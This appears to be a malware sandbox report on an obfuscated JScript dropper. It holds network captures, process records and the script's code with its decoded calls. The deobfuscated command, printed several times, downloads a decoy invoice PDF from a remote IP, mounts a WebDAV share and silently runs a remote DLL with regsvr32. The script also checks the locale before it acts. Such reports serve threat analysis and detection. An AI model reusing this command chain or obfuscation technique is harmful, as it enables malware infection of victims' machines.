Jan 11, 2025 05:48:18.610977888 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:48:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:48:18.610999107 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:48:18.611082077 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:48:18.611093044 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:48:18.611171961 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 05:48:18.611185074 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 05:48:18.611203909 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 05:48:18.611387014 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 05:48:18.611397982 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 05:48:18.611418009 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 11, 2025 05:48:18.615816116 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7252	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:48:20.288768053 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:48:21.089962959 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:48:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:48:14
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js"
Imagebase:	0x7ff7046c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:48:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Imagebase:	0x7ff6c0a80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:48:15
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:48:15
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:48:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:48:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c0a80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:48:19
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff766860000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:48:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:48:20
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:48:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1604,i,3047333612342668782,1285642100344243533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dpufrgew() {	dpufrgew() ➔ undefined
1	eyvjgxs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var dbjppsg = this[ykpeaw + hfvjv + sxlvmxcl + lrjltnpif + fkwvqek + veruo + opfkbyc + wrgkrqq] ( this[uujdr + yrozutbfu + utwnq + sxlvmxcl + htuvj + ykpeaw + wrgkrqq][tiulwoda + sxlvmxcl + fkwvqek + hfvjv + wrgkrqq + fkwvqek + istyuz + ojwovwej + ffywqrwd + fkwvqek + utwnq + wrgkrqq] ( uujdr + yrozutbfu + utwnq + sxlvmxcl + htuvj + ykpeaw + wrgkrqq + oqltlqfo + yrozutbfu + numztvoc + fkwvqek + tchnf + tchnf ) [qticz + fkwvqek + gibivaf + qticz + fkwvqek + hfvjv + eqshmre] ( defjg + phjtxi + cauqqd + freclfw + cuvqfgabl + tiulwoda + guyzs + qticz + qticz + cauqqd + uinvyxx + azwbw + cuvqfgabl + guyzs + yrozutbfu + cauqqd + qticz + ieqopj + tiulwoda + bkpkjmgu + opfkbyc + wrgkrqq + sxlvmxcl + bkpkjmgu + tchnf + lufsmncss + xtwikanr + hfvjv + opfkbyc + fkwvqek + tchnf + ieqopj + veruo + opfkbyc + wrgkrqq + fkwvqek + sxlvmxcl + opfkbyc + hfvjv + wrgkrqq + htuvj + bkpkjmgu + opfkbyc + hfvjv + tchnf + ieqopj + yerpcz + bkpkjmgu + utwnq + hfvjv + tchnf + fkwvqek ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hbhbrxo = 0 ; hbhbrxo < eyvjgxs[tchnf + fkwvqek + opfkbyc + gibivaf + wrgkrqq + numztvoc] ; ++ hbhbrxo )
4	{
5	if ( dbjppsg == eyvjgxs[hbhbrxo] )
6	{
7	dbjppsg = true;
8	break ;
9	}
10	}
11	if ( dbjppsg !== true )
12	this[uujdr + yrozutbfu + utwnq + sxlvmxcl + htuvj + ykpeaw + wrgkrqq][akyhy + bthmina + htuvj + wrgkrqq] ( );
13	this[uujdr + yrozutbfu + utwnq + sxlvmxcl + htuvj + ykpeaw + wrgkrqq][tiulwoda + sxlvmxcl + fkwvqek + hfvjv + wrgkrqq + fkwvqek + istyuz + ojwovwej + ffywqrwd + fkwvqek + utwnq + wrgkrqq] ( uujdr + yrozutbfu + utwnq + sxlvmxcl + htuvj + ykpeaw + wrgkrqq + oqltlqfo + yrozutbfu + numztvoc + fkwvqek + tchnf + tchnf ) [sxlvmxcl + bthmina + opfkbyc] ( utwnq + xftuwn + eqshmre + lufsmncss + pgkdkucvk + utwnq + lufsmncss + ykpeaw + bkpkjmgu + btehdmqs + fkwvqek + sxlvmxcl + lrjltnpif + numztvoc + fkwvqek + tchnf + tchnf + oqltlqfo + fkwvqek + wvpgywl + fkwvqek + lufsmncss + aauazx + tiulwoda + bkpkjmgu + xftuwn + xftuwn + hfvjv + opfkbyc + eqshmre + lufsmncss + xtrhcrnf + veruo + opfkbyc + hsxfcsd + bkpkjmgu + hdkkkqb + fkwvqek + aauazx + uujdr + fkwvqek + ojwovwej + qticz + fkwvqek + dzncpkr + bthmina + fkwvqek + lrjltnpif + wrgkrqq + lufsmncss + aauazx + istyuz + bthmina + wrgkrqq + hveqwn + htuvj + tchnf + fkwvqek + lufsmncss + dgulqsde + wrgkrqq + fkwvqek + xftuwn + ykpeaw + dgulqsde + ieqopj + htuvj + opfkbyc + hsxfcsd + bkpkjmgu + htuvj + utwnq + fkwvqek + oqltlqfo + ykpeaw + eqshmre + qewmzv + lufsmncss + numztvoc + wrgkrqq + wrgkrqq + ykpeaw + ihvvw + pgkdkucvk + pgkdkucvk + gqarpz + ahdtbuo + yakdv + oqltlqfo + gqarpz + ufpgxz + yakdv + oqltlqfo + gqarpz + oqltlqfo + dwwvexes + btabvgqad + gglazbv + pgkdkucvk + htuvj + opfkbyc + hsxfcsd + bkpkjmgu + htuvj + utwnq + fkwvqek + oqltlqfo + ykpeaw + numztvoc + ykpeaw + xtrhcrnf + xeqgoflg + xeqgoflg + lrjltnpif + wrgkrqq + hfvjv + sxlvmxcl + wrgkrqq + lufsmncss + dgulqsde + wrgkrqq + fkwvqek + xftuwn + ykpeaw + dgulqsde + ieqopj + htuvj + opfkbyc + hsxfcsd + bkpkjmgu + htuvj + utwnq + fkwvqek + oqltlqfo + ykpeaw + eqshmre + qewmzv + xeqgoflg + xeqgoflg + utwnq + xftuwn + eqshmre + lufsmncss + pgkdkucvk + utwnq + lufsmncss + opfkbyc + fkwvqek + wrgkrqq + lufsmncss + bthmina + lrjltnpif + fkwvqek + lufsmncss + ieqopj + ieqopj + gqarpz + ahdtbuo + yakdv + oqltlqfo + gqarpz + ufpgxz + yakdv + oqltlqfo + gqarpz + oqltlqfo + dwwvexes + btabvgqad + gglazbv + uvwpyj + ijcutb + ijcutb + ijcutb + ijcutb + ieqopj + eqshmre + hfvjv + hsxfcsd + btehdmqs + btehdmqs + btehdmqs + sxlvmxcl + bkpkjmgu + bkpkjmgu + wrgkrqq + ieqopj + xeqgoflg + xeqgoflg + utwnq + xftuwn + eqshmre + lufsmncss + pgkdkucvk + utwnq + lufsmncss + sxlvmxcl + fkwvqek + gibivaf + lrjltnpif + hsxfcsd + sxlvmxcl + yakdv + dwwvexes + lufsmncss + pgkdkucvk + lrjltnpif + lufsmncss + ieqopj + ieqopj + gqarpz + ahdtbuo + yakdv + oqltlqfo + gqarpz + ufpgxz + yakdv + oqltlqfo + gqarpz + oqltlqfo + dwwvexes + btabvgqad + gglazbv + uvwpyj + ijcutb + ijcutb + ijcutb + ijcutb + ieqopj + eqshmre + hfvjv + hsxfcsd + btehdmqs + btehdmqs + btehdmqs + sxlvmxcl + bkpkjmgu + bkpkjmgu + wrgkrqq + ieqopj + yakdv + gqarpz + gqarpz + yakdv + yfwkbj + dwwvexes + dwwvexes + ufpgxz + yakdv + btabvgqad + gqarpz + ahdtbuo + yfwkbj + yakdv + ijcutb + oqltlqfo + eqshmre + tchnf + tchnf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll",0,false) ➔ 0
14	}
15	gibivaf = "t";
16	gibivaf = "g";
17	gibivaf = "s";
18	gibivaf = "q";
19	gibivaf = "C";
20	gibivaf = "V";
21	gibivaf = "k";
22	gibivaf = "Y";
23	gibivaf = "g";
24	gibivaf = "r";
25	gibivaf = "O";
26	gibivaf = "u";
27	gibivaf = "p";
28	gibivaf = "n";
29	gibivaf = "G";
30	gibivaf = "c";
31	gibivaf = "r";
32	gibivaf = "G";
33	gibivaf = "E";
34	gibivaf = "g";
35	htuvj = "l";
36	htuvj = "C";
37	htuvj = "Z";
38	htuvj = "P";
39	htuvj = "R";
40	htuvj = "M";
41	htuvj = "h";
42	htuvj = "F";
43	htuvj = "O";
44	htuvj = "y";
45	htuvj = "i";
46	htuvj = "B";
47	htuvj = "Z";
48	htuvj = "o";
49	htuvj = "q";
50	htuvj = "w";
51	htuvj = "P";
52	htuvj = "R";
53	htuvj = "X";
54	htuvj = "C";
55	htuvj = "z";
56	htuvj = "i";
57	opfkbyc = "W";
58	opfkbyc = "X";
59	opfkbyc = "g";
60	opfkbyc = "h";
61	opfkbyc = "B";
62	opfkbyc = "n";
63	opfkbyc = "b";
64	opfkbyc = "K";
65	opfkbyc = "J";
66	opfkbyc = "l";
67	opfkbyc = "k";
68	opfkbyc = "W";
69	opfkbyc = "g";
70	opfkbyc = "f";
71	opfkbyc = "g";
72	opfkbyc = "B";
73	opfkbyc = "K";
74	opfkbyc = "P";
75	opfkbyc = "f";
76	opfkbyc = "n";
77	bkpkjmgu = "I";
78	bkpkjmgu = "Z";
79	bkpkjmgu = "W";
80	bkpkjmgu = "X";
81	bkpkjmgu = "W";
82	bkpkjmgu = "H";
83	bkpkjmgu = "d";
84	bkpkjmgu = "x";
85	bkpkjmgu = "f";
86	bkpkjmgu = "T";
87	bkpkjmgu = "Y";
88	bkpkjmgu = "F";
89	bkpkjmgu = "u";
90	bkpkjmgu = "R";
91	bkpkjmgu = "e";
92	bkpkjmgu = "k";
93	bkpkjmgu = "w";
94	bkpkjmgu = "T";
95	bkpkjmgu = "W";
96	bkpkjmgu = "y";
97	bkpkjmgu = "u";
98	bkpkjmgu = "c";
99	bkpkjmgu = "C";
100	bkpkjmgu = "d";
101	bkpkjmgu = "I";
102	bkpkjmgu = "C";
103	bkpkjmgu = "H";
104	bkpkjmgu = "K";
105	bkpkjmgu = "j";
106	bkpkjmgu = "v";
107	bkpkjmgu = "R";
108	bkpkjmgu = "i";
109	bkpkjmgu = "C";
110	bkpkjmgu = "H";
111	bkpkjmgu = "A";
112	bkpkjmgu = "e";
113	bkpkjmgu = "N";
114	bkpkjmgu = "c";
115	bkpkjmgu = "p";
116	bkpkjmgu = "L";
117	bkpkjmgu = "o";
118	yakdv = "L";
119	yakdv = "c";
120	yakdv = "O";
121	yakdv = "p";
122	yakdv = "Z";
123	yakdv = "e";
124	yakdv = "N";
125	yakdv = "v";
126	yakdv = "U";
127	yakdv = "F";
128	yakdv = "J";
129	yakdv = "H";
130	yakdv = "I";
131	yakdv = "G";
132	yakdv = "r";
133	yakdv = "o";
134	yakdv = "P";
135	yakdv = "I";
136	yakdv = "Z";
137	yakdv = "W";
138	yakdv = "q";
139	yakdv = "A";
140	yakdv = "I";
141	yakdv = "p";
142	yakdv = "k";
143	yakdv = "x";
144	yakdv = "o";
145	yakdv = "N";
146	yakdv = "A";
147	yakdv = "u";
148	yakdv = "g";
149	yakdv = "k";
150	yakdv = "w";
151	yakdv = "v";
152	yakdv = "m";
153	yakdv = "R";
154	yakdv = "b";
155	yakdv = "c";
156	yakdv = "G";
157	yakdv = "Q";
158	yakdv = "z";
159	yakdv = "y";
160	yakdv = "u";
161	yakdv = "3";
162	btabvgqad = "g";
163	btabvgqad = "p";
164	btabvgqad = "X";
165	btabvgqad = "g";
166	btabvgqad = "n";
167	btabvgqad = "d";
168	btabvgqad = "X";
169	btabvgqad = "F";
170	btabvgqad = "R";
171	btabvgqad = "v";
172	btabvgqad = "v";
173	btabvgqad = "R";
174	btabvgqad = "Z";
175	btabvgqad = "T";
176	btabvgqad = "l";
177	btabvgqad = "h";
178	btabvgqad = "d";
179	btabvgqad = "M";
180	btabvgqad = "M";
181	btabvgqad = "E";
182	btabvgqad = "U";
183	btabvgqad = "W";
184	btabvgqad = "l";
185	btabvgqad = "X";
186	btabvgqad = "0";
187	yrozutbfu = "u";
188	yrozutbfu = "E";
189	yrozutbfu = "b";
190	yrozutbfu = "S";
191	istyuz = "b";
192	istyuz = "z";
193	istyuz = "U";
194	istyuz = "K";
195	istyuz = "r";
196	istyuz = "w";
197	istyuz = "b";
198	istyuz = "O";
199	istyuz = "Z";
200	istyuz = "o";
201	istyuz = "j";
202	istyuz = "O";
203	uujdr = "D";
204	uujdr = "u";
205	uujdr = "g";
206	uujdr = "A";
207	uujdr = "O";
208	uujdr = "O";
209	uujdr = "H";
210	uujdr = "Y";
211	uujdr = "E";
212	uujdr = "h";
213	uujdr = "j";
214	uujdr = "K";
215	uujdr = "k";
216	uujdr = "W";
217	wrgkrqq = "z";
218	wrgkrqq = "Z";
219	wrgkrqq = "V";
220	wrgkrqq = "D";
221	wrgkrqq = "i";
222	wrgkrqq = "l";
223	wrgkrqq = "g";
224	wrgkrqq = "t";
225	lufsmncss = "f";
226	lufsmncss = "K";
227	lufsmncss = "u";
228	lufsmncss = "t";
229	lufsmncss = "K";
230	lufsmncss = "P";
231	lufsmncss = "f";
232	lufsmncss = "q";
233	lufsmncss = "A";
234	lufsmncss = "O";
235	lufsmncss = "C";
236	lufsmncss = "U";
237	lufsmncss = "b";
238	lufsmncss = "v";
239	lufsmncss = "Y";
240	lufsmncss = "D";
241	lufsmncss = "K";
242	lufsmncss = "w";
243	lufsmncss = "g";
244	lufsmncss = "H";
245	lufsmncss = "j";
246	lufsmncss = "I";
247	lufsmncss = "Z";
248	lufsmncss = "s";
249	lufsmncss = "p";
250	lufsmncss = "g";
251	lufsmncss = "V";
252	lufsmncss = "A";
253	lufsmncss = "C";
254	lufsmncss = "y";
255	lufsmncss = "A";
256	lufsmncss = "r";
257	lufsmncss = "g";
258	lufsmncss = "F";
259	lufsmncss = "D";
260	lufsmncss = "I";
261	lufsmncss = "p";
262	lufsmncss = "l";
263	lufsmncss = "m";
264	lufsmncss = "H";
265	lufsmncss = "O";
266	lufsmncss = "W";
267	lufsmncss = "G";
268	lufsmncss = "V";
269	lufsmncss = " ";
270	hdkkkqb = "B";
271	hdkkkqb = "J";
272	hdkkkqb = "S";
273	hdkkkqb = "Q";
274	hdkkkqb = "w";
275	hdkkkqb = "o";
276	hdkkkqb = "I";
277	hdkkkqb = "m";
278	hdkkkqb = "I";
279	hdkkkqb = "l";
280	hdkkkqb = "h";
281	hdkkkqb = "p";
282	hdkkkqb = "M";
283	hdkkkqb = "F";
284	hdkkkqb = "I";
285	hdkkkqb = "e";
286	hdkkkqb = "L";
287	hdkkkqb = "F";
288	hdkkkqb = "O";
289	hdkkkqb = "N";
290	hdkkkqb = "E";
291	hdkkkqb = "v";
292	hdkkkqb = "P";
293	hdkkkqb = "K";
294	hdkkkqb = "I";
295	hdkkkqb = "B";
